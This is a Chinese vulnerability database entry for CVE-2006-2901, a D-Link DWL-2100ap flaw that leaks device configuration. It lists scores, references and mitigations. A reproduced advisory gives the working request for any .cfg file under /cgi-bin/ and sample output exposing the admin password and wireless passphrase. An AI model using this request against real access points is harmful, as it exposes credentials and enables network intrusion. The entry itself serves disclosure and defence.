CVE-2006-2901
CVSS5.0
发布时间 :2006-06-07 17:06:00
修订时间 :2011-03-07 21:37:16
NMCOE    

[原文]The web server for D-Link Wireless Access-Point (DWL-2100ap) firmware 2.10na and earlier allows remote attackers to obtain sensitive system information via a request to an arbitrary .cfg file, which returns configuration information including passwords.


[CNNVD]D-Link DWL-2100AP /cgi-bin/ cfg文件 信息泄漏漏洞(CNNVD-200606-185)

         D-Link DWL-2100ap是一款流行的无线接入点。
         如果攻击者对/cgi-bin/目录中任何有.cfg扩展名的文件发起HTTP请求的话,就会返回所有的设备配置,包括 用户名、口令、SSID、IP、子网掩码等。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2901
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2901
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200606-185
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/18299
(PATCH)  BID  18299
http://www.securityfocus.com/archive/1/archive/1/436281/100/0/threaded
(PATCH)  BUGTRAQ  20060607 ADVISORY - D-Link Wireless Access-Point
http://www.intruders.com.br/adv0206en.html
(VENDOR_ADVISORY)  MISC  http://www.intruders.com.br/adv0206en.html
http://www.vupen.com/english/advisories/2006/2186
(UNKNOWN)  VUPEN  ADV-2006-2186
http://secunia.com/advisories/20474
(VENDOR_ADVISORY)  SECUNIA  20474
http://xforce.iss.net/xforce/xfdb/26973
(UNKNOWN)  XF  dlink-config-file-access(26973)
http://www.securityfocus.com/archive/1/archive/1/489009/100/0/threaded
(UNKNOWN)  BUGTRAQ  20080301 The Router Hacking Challenge is Over!
http://www.intruders.org.br/adv0206en.html
(UNKNOWN)  MISC  http://www.intruders.com.br/adv0206en.html
http://www.gnucitizen.org/projects/router-hacking-challenge/
(UNKNOWN)  MISC  http://www.gnucitizen.org/projects/router-hacking-challenge/
http://securitytracker.com/id?1016234
(UNKNOWN)  SECTRACK  1016234
http://securityreason.com/securityalert/1064
(UNKNOWN)  SREASON  1064

- 漏洞信息

D-Link DWL-2100AP /cgi-bin/ cfg文件 信息泄漏漏洞
中危 设计错误
2006-06-07 00:00:00 2006-06-08 00:00:00
远程  
         D-Link DWL-2100ap是一款流行的无线接入点。
         如果攻击者对/cgi-bin/目录中任何有.cfg扩展名的文件发起HTTP请求的话,就会返回所有的设备配置,包括 用户名、口令、SSID、IP、子网掩码等。

- 公告与补丁

        临时解决方法:
        1 - 使用强壮的cookies确保只有授权用户才能访问配置;
        2 - 使用哈希储存敏感信息;
        3 - 创建防火墙策略过滤端口和IP;
        4 - 要求初次登录后更改默认的用户名/口令,不允许将口令更改为最近一次使用的;
        5 - 使用HTTPS。
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        http://www.dlinkbrasil.com.br/internet/downloads/Wireless/DWL-2100AP/DWL2100AP-firmware-v210na-r0343.tfp

- 漏洞信息 (1889)

D-Link Access-Point <= 2.10na (DWL Series) Config Disclosure Vuln (EDBID:1889)
hardware remote
2006-06-08 Verified
0 INTRUDERS
N/A [点击下载]
# ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap)
# INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY
# http://www.intruders.com.br/ , http://www.intruders.org.br/

Making a HTTP request to the /cgi-bin/ directory, the Web server will return error 404 (Page not found).
Making a HTTP request to the /cgi-bin/AnyFile.htm, the Web server will return error 404 (Page not found).
However, making a HTTP request to any file in /cgi-bin/ directory, with .cfg extension, will return all the device configuration.

For example, making the following request:

http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg
We would have a result equivalent to the following:

# Copyright (c) 2002 Atheros Communications, Inc., All Rights Reserved
# DO NOT EDIT -- This configuration file is automatically generated
magic Ar52xxAP
fwc: 34
login admin
DHCPServer
Eth_Acl
nameaddr
domainsuffix
IP_Addr 10.0.0.30
IP_Mask 255.0.0.0
Gateway_Addr 10.0.0.1
RADIUSaddr
RADIUSport 1812
RADIUSsecret
password IntrudersTest
passphrase
wlan1 passphrase AnewBadPassPhrase
# Several lines removed.

# milw0rm.com [2006-06-08]
		

- 漏洞信息

26210
D-Link DWL-2100AP Configuration File Direct Request Information Disclosure
Information Disclosure
Loss of Confidentiality
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-06-06 Unknow
2006-06-06 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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